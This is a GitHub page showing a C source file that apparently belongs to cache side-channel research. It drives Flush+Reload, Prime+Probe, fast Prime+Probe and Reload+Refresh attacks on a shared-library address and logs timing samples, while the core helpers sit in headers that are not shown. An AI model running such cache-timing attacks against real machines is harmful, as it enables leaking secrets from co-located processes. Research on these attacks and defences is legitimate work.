-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathexample_code.c
More file actions
412 lines (385 loc) · 13.6 KB
/
example_code.c
File metadata and controls
412 lines (385 loc) · 13.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sched.h>
#include <sys/wait.h>
#include <time.h>
#include "T.h" /*Shared library*/
#include "cache_utils.h" /*Cache manipulation functions*/
/*For huge pages*/
#define FILE_NAME "/mnt/hugetlbfs/filehuge"
#define PROTECTION (PROT_READ | PROT_WRITE)
/* Only ia64 requires this */
#ifdef __ia64__
#define ADDR (void *)(0x8000000000000000UL)
#define FLAGS (MAP_SHARED | MAP_FIXED)
#else
#define ADDR (void *)(0x0UL)
#define FLAGS (MAP_SHARED)
#endif
#define TIME_LIMIT 190 /*Time for main memory access, must be calibrated*/
#define CLEAN_REFRESH_TIME 620 /*Time for Refresh, must be calibrated*/
#define TIME_PRIME 650 /*Time for Prime, must be calibrated*/
#define NUM_CANDIDATES 3 * CACHE_SET_SIZE *CACHE_SLICES
#define RES_MEM (1UL * 1024 * 1024) * 4 * CACHE_SIZE
#define CLEAN_NOISE 1 /*For Reload+Refresh to detect noise and reset cache state*/
#define WAIT_FIXED 1 /*Defines if it is possible to "wait" between samples*/
int target_pos; //Should be the same in the sender
long int *base_address;
long int *target_address;
long int candidates_set[NUM_CANDIDATES];
long int filtered_set[NUM_CANDIDATES];
long int eviction_set[CACHE_SET_SIZE * CACHE_SLICES];
long int invariant_part[CACHE_SET_SIZE * CACHE_SLICES];
long int elements_set[CACHE_SET_SIZE]; // For R+R attacks
long int long_eviction_set[CACHE_SET_SIZE * 2]; // For fast P+P attacks
int fd;
FILE *out_fd;
uintptr_t phys_addr;
int slice, set;
int wait_time;
int max_run_time;
int S, C, D;
struct timespec request, remain;
int main(int argc, char **argv)
{
int i;
char file_name[40];
//Just use first argument
if (argc < 5)
{
printf("Expected target address (int), attack name (-fr,-pp, -fpp,-rr) wait cycles and max run time\n");
return -1;
}
else
{
target_pos = atoi(argv[1]);
wait_time = atoi(argv[3]);
max_run_time = atoi(argv[4]);
if (!target_pos)
{
printf("Error with the target address \n");
return -1;
}
target_address = (long int *)get_address_table(target_pos);
//target_address = (long int *)get_address_quixote(target_pos);
printf("Target address %lx %i %i\n", (long int)target_address, wait_time, max_run_time);
}
if (strcmp(argv[2], "-fr") == 0)
{
printf("TEST FLUSH+RELOAD\n");
snprintf(file_name, 40, "test_fr_%d_%d.txt", target_pos, wait_time);
out_fd = fopen(file_name, "w");
if (out_fd == NULL)
fprintf(stderr, "Unable to open file\n");
printf("Saving results to %s\n", file_name);
int t;
unsigned long tim = timestamp();
int cont = 0;
/*Check deduplication*/
while (cont < 20)
{
tim = timestamp();
while (timestamp() < tim + wait_time)
;
t = access_timed_flush(target_address);
//t = access_timed_full_flush(target_address);
if (t < (TIME_LIMIT - 50))
{
//printf("%i \n", t);
cont++;
}
}
printf("Ready \n");
clock_gettime(CLOCK_MONOTONIC, &request);
clock_gettime(CLOCK_MONOTONIC, &remain);
/*Carry the attack*/
while (remain.tv_sec < (request.tv_sec + max_run_time + 1))
{
t = access_timed_flush(target_address);
//t = access_timed_full_flush(target_address);
mfence();
tim = timestamp();
#if WAIT_FIXED
while (timestamp() < tim + wait_time)
;
#endif
fprintf(out_fd, "%i %i %lu\n", t, 10, tim);
clock_gettime(CLOCK_MONOTONIC, &remain);
}
fclose(out_fd);
return 0;
}
else if (!strcmp(argv[2], "-pp"))
{
printf("TEST PRIME+PROBE\n");
/*Reserve huge pages*/
/*Allocate memory using hugepages*/
fd = open(FILE_NAME, O_CREAT | O_RDWR, 0755);
if (fd < 0)
{
perror("Open failed");
exit(1);
}
unsigned long reserved_size = RES_MEM;
base_address = mmap(ADDR, reserved_size, PROTECTION, MAP_SHARED, fd, 0);
if (base_address == NULL)
{
printf("error allocating\n");
exit(1);
}
if (base_address == MAP_FAILED)
{
perror("mmap");
unlink(FILE_NAME);
exit(1);
}
long int mem;
for (mem = 0; mem < ((reserved_size) / 8); ++mem)
{
*(base_address + mem) = mem;
}
printf("Reserved hugepages at %lx \n", (long int)base_address);
/*Output file*/
snprintf(file_name, 40, "test_pp_%d_%d.txt", target_pos, wait_time);
out_fd = fopen(file_name, "w");
if (out_fd == NULL)
fprintf(stderr, "Unable to open file\n");
printf("Saving results to %s\n", file_name);
/*Set generation*/
int tar_set = 30 + (rand() % (SETS_PER_SLICE / 2)); //Avoid set 0 (noisy);
generate_candidates_array(base_address, candidates_set, NUM_CANDIDATES, tar_set);
initialize_sets(eviction_set, filtered_set, NUM_CANDIDATES, candidates_set, NUM_CANDIDATES, TIME_LIMIT);
store_invariant_part(eviction_set, invariant_part);
int cont;
unsigned long tim = timestamp();
int t;
/*It should profile the cache to get the set and slice, we do the trick of enforcing deduplication before the profiling*/
while (cont < 20)
{
tim = timestamp();
while (timestamp() < tim + wait_time)
;
t = access_timed_flush(target_address);
if (t < (TIME_LIMIT - 50))
{
cont++;
}
}
profile_address(invariant_part, eviction_set, target_address, &set, &slice);
printf("Set and Slice %i %i \n", set, slice);
/*Create the eviction set that matches with the target*/
generate_new_eviction_set(set, invariant_part, eviction_set);
write_linked_list(eviction_set);
long int *prime_address = (long int *)eviction_set[slice * CACHE_SET_SIZE];
clock_gettime(CLOCK_MONOTONIC, &request);
clock_gettime(CLOCK_MONOTONIC, &remain);
/*Carry the attack*/
while (remain.tv_sec < (request.tv_sec + max_run_time + 1))
{
t = probe_one_set(prime_address);
mfence();
tim = timestamp();
#if WAIT_FIXED
while (timestamp() < tim + wait_time)
;
#endif
fprintf(out_fd, "%i %i %lu\n", t, 10, tim);
clock_gettime(CLOCK_MONOTONIC, &remain);
}
fclose(out_fd);
/*Release huge pages*/
close(fd);
unlink(FILE_NAME);
return 0;
}
else if (!strcmp(argv[2], "-fpp")) //For fast Prime+Probe test
{
if (argc < 7)
{
printf("Also expected S,C and D for fast Prime+Probe\n");
return -1;
}
S = atoi(argv[5]);
C = atoi(argv[6]);
D = atoi(argv[7]);
printf("TEST FAST PRIME+PROBE (Rowhammer.js)\n");
snprintf(file_name, 40, "test_fpp_%d_%d.txt", target_pos, wait_time);
out_fd = fopen(file_name, "w");
if (out_fd == NULL)
fprintf(stderr, "Unable to open file\n");
printf("Saving results to %s\n", file_name);
/*Reserve huge pages*/
fd = open(FILE_NAME, O_CREAT | O_RDWR, 0755);
if (fd < 0)
{
perror("Open failed");
exit(1);
}
unsigned long reserved_size = RES_MEM;
base_address = mmap(ADDR, reserved_size, PROTECTION, MAP_SHARED, fd, 0);
if (base_address == NULL)
{
printf("error allocating\n");
exit(1);
}
if (base_address == MAP_FAILED)
{
perror("mmap");
unlink(FILE_NAME);
exit(1);
}
/*Set generation*/
int tar_set = 25 + (rand() % (SETS_PER_SLICE / 2)); //Avoid set 0 (noisy);
generate_candidates_array(base_address, candidates_set, NUM_CANDIDATES, tar_set);
initialize_sets(eviction_set, filtered_set, NUM_CANDIDATES, candidates_set, NUM_CANDIDATES, TIME_LIMIT);
store_invariant_part(eviction_set, invariant_part);
int cont;
unsigned long tim = timestamp();
int t;
/*It should profile the cache to get the set and slice, we do the trick of enforcing deduplication before the profiling*/
while (cont < 20)
{
tim = timestamp();
while (timestamp() < tim + wait_time)
;
t = access_timed_flush(target_address);
if (t < (TIME_LIMIT - 50))
{
cont++;
}
}
profile_address(invariant_part, eviction_set, target_address, &set, &slice);
printf("Set and Slice %i %i \n", set, slice);
/*Create the eviction set that matches with the target*/
generate_candidates_array(base_address, candidates_set, NUM_CANDIDATES, set); //To increase the size of the eviction set
generate_new_eviction_set(set, invariant_part, eviction_set);
increase_eviction(candidates_set, NUM_CANDIDATES, eviction_set, long_eviction_set, slice, TIME_LIMIT);
clock_gettime(CLOCK_MONOTONIC, &request);
clock_gettime(CLOCK_MONOTONIC, &remain);
/*Carry the attack*/
while (remain.tv_sec < (request.tv_sec + max_run_time + 1))
{
t = fast_prime(long_eviction_set, S, C, D);
tim = timestamp();
#if WAIT_FIXED
while (timestamp() < tim + wait_time)
;
#endif
fprintf(out_fd, "%i %i %lu\n", t, 10, tim);
clock_gettime(CLOCK_MONOTONIC, &remain);
}
fclose(out_fd);
/*Release huge pages*/
close(fd);
unlink(FILE_NAME);
return 0;
}
else if (!strcmp(argv[2], "-rr"))
{
printf("TEST RELOAD+REFRESH\n");
snprintf(file_name, 40, "test_rr_%d_%d.txt", target_pos, wait_time);
out_fd = fopen(file_name, "w");
if (out_fd == NULL)
fprintf(stderr, "Unable to open file\n");
printf("Saving results to %s\n", file_name);
/*Reserve huge pages*/
fd = open(FILE_NAME, O_CREAT | O_RDWR, 0755);
if (fd < 0)
{
perror("Open failed");
exit(1);
}
unsigned long reserved_size = RES_MEM;
base_address = mmap(ADDR, reserved_size, PROTECTION, MAP_SHARED, fd, 0);
if (base_address == NULL)
{
printf("error allocating\n");
exit(1);
}
if (base_address == MAP_FAILED)
{
perror("mmap");
unlink(FILE_NAME);
exit(1);
}
/*Set generation*/
int tar_set = 30 + (rand() % (SETS_PER_SLICE / 2)); //Avoid set 0 (noisy);
generate_candidates_array(base_address, candidates_set, NUM_CANDIDATES, tar_set);
initialize_sets(eviction_set, filtered_set, NUM_CANDIDATES, candidates_set, NUM_CANDIDATES, TIME_LIMIT);
store_invariant_part(eviction_set, invariant_part);
int t, t1;
unsigned long tim = timestamp();
int cont = 0;
while (cont < 20)
{
tim = timestamp();
while (timestamp() < tim + wait_time)
;
t = access_timed_flush(target_address);
if (t < (TIME_LIMIT - 50))
{
cont++;
}
}
profile_address(invariant_part, eviction_set, target_address, &set, &slice);
/*Create the eviction set that matches with the target*/
generate_new_eviction_set(set, invariant_part, eviction_set);
write_linked_list(eviction_set);
get_elements_set_rr(elements_set, eviction_set, target_address, slice);
long int *prime_address = (long int *)eviction_set[slice * CACHE_SET_SIZE];
long int *first_el = (long int *)eviction_set[slice * CACHE_SET_SIZE];
long int *conflict_address = (long int *)eviction_set[(slice + 1) * CACHE_SET_SIZE - 1];
printf("Set and Slice %i %i \n", set, slice);
/*Set affinity to current core to avoid variations*/
/*int core = sched_getcpu();
if (core < 0)
{
printf("Error getting the CPU \n");
return -1;
}
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(core, &mask);
printf("Core %i \n",core);
sched_setaffinity(0, sizeof(cpu_set_t), &mask);
while (sched_getcpu() != core);*/
/*Prepare the sets for the attack*/
prepare_sets(elements_set, conflict_address, TIME_PRIME);
clock_gettime(CLOCK_MONOTONIC, &request);
clock_gettime(CLOCK_MONOTONIC, &remain);
/*Carry the attack*/
while (remain.tv_sec < (request.tv_sec + max_run_time + 1))
{
cont++;
t = reload_step(target_address, conflict_address, first_el);
lfence();
t1 = refresh_step((long int *)elements_set[2]);
tim = timestamp();
#if WAIT_FIXED
while (timestamp() < tim + wait_time)
;
#endif
#if CLEAN_NOISE
if (t1 > CLEAN_REFRESH_TIME)
{
prepare_sets(elements_set, conflict_address, TIME_PRIME);
}
#endif
fprintf(out_fd, "%i %i %lu\n", t, t1, tim);
clock_gettime(CLOCK_MONOTONIC, &remain);
}
fclose(out_fd);
/*Release huge pages*/
close(fd);
unlink(FILE_NAME);
return 0;
}
else
{
printf("wrong argument \n");
return -1;
}
}